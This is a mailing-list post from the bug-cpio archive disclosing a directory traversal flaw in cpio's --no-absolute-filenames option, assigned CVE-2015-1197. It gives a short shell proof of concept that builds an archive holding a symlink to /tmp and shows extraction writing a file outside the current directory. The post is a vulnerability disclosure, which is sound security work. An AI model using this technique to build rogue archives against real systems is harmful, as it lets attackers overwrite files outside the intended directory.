bug-cpio
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Bug-cpio] cpio: directory traversal vulnerability via symlinks


From: Alexander Cherepanov
Subject: Re: [Bug-cpio] cpio: directory traversal vulnerability via symlinks
Date: Mon, 19 Jan 2015 06:09:54 +0300

On 2015-01-08 02:34, Alexander Cherepanov wrote:
--no-absolute-filenames option seems to be intended to limit extracting
contents of an archive to be strictly inside a current directory (it
guards against both absolute paths and relative paths with .. in them).
However it can be bypassed with symlinks. While extracting an archive,
it will extract symlinks and then follow them if they are referenced in
further entries. This can be exploited by a rogue archive to write files
outside the current directory.

For example, let's create a sample archive:

ln -s /tmp dir
touch /tmp/file
echo 'dir
dir/file' | cpio -ov > test.cpio
rm dir /tmp/file

and then test it:

cpio --no-absolute-filenames -iv < test.cpio

This will create a symlink "dir" in the current directory and a file
"/tmp/file" by following this symlink.

The issue was assigned CVE-2015-1197 here:

http://www.openwall.com/lists/oss-security/2015/01/18/7

--
Alexander Cherepanov



reply via email to

[Prev in Thread] Current Thread [Next in Thread]